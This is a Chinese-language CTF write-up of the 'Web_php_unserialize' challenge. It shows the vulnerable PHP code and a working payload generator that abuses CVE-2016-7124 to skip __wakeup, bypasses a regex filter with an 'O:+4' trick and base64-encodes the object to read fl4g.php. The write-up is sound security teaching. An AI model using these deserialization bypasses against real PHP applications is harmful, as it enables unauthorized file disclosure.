Web_php_unserialize-wp

题目:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

很经典的反序列化 ,因为之前系统的打过发序列化靶场 这个一看就知道怎么绕过拿到flag。

要注意的点:

1.变量file是私有变量

2.可以看到__wakeup会对该变量强制命名 所以我们要跳过这个函数执行 用CVE-2016-7124漏洞

3.base64_decode可以看到他会对传进来的变量进行base64解密 所以我们要先加密玩再传

4.(preg_match(‘/[oc]:\d+:/i’, $var) 会对传进来的变量进行序列化值正则匹配 我们用url编码桡过。

知道以上四个点 这个赛题迎刃而解:

再说一下调用链:__wakeup—>__destruct 这里wakeup可以利用漏洞跳过:

图片[1]-Web_php_unserialize-wp-Drton1博客

trick:

我们可以看到正则匹配/[oc]:\d+:/i 只会匹配 o:数字 或 O:数字 或 c:数字 C:数字

          $a = str_replace('O:4', 'O:+4',$a);//绕过preg_match

我们把序列好的值进行替换 4变成+4 就可以绕过这个正则的识别 同时反序列化时候 php也能够把+4当作4.。

至于这个:

$a = str_replace(':1:',':2:', $a);//绕过__wakeup()

就是经典的(13条消息) CVE-2016-7124漏洞复现_夏了茶糜的博客-CSDN博客

           绕过了_wakeup的执行。

最后拿到flag:

图片[2]-Web_php_unserialize-wp-Drton1博客

这里有个点比较重要 我们先看一眼payload:

<?php

class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    
}

$a=serialize(new Demo("fl4g.php"));
$a = str_replace('O:4', 'O:+4',$a);//绕过preg_match
$a = str_replace(':1:',':2:', $a);//绕过__wakeup()
echo base64_encode($a);

可以看到这里都是一气呵成的 最后生成payload。

如果我先 ech $a 然后把这个值手动替换 之后再 base64_encode行不行?

还记得我们之前说的注意点1 吗 这个file是私有变量:

图片[3]-Web_php_unserialize-wp-Drton1博客

如果我们echo它的话 它的前缀我们是不可见的字符 意思就是说echo之后你复制它时候 你会少复制那几个不可见的字段,就会缺少,造成失败。所以我们最好是一气呵成 让他处理完最后显示出来。

再记录一个点 我拿到这个赛题 看见正则 第一时间想的是 用 url编码绕过,后来是行不通 为什么?

因为他还有再进行一次base64的加密

如果代码里没有base64的解密(也就意味着我们不用加密的话) 那么url编码是非常适合绕过这个正则匹配的。 记录一下这个点。

© 版权声明
THE END
喜欢就支持一下吧
点赞8 分享
评论 抢沙发

请登录后发表评论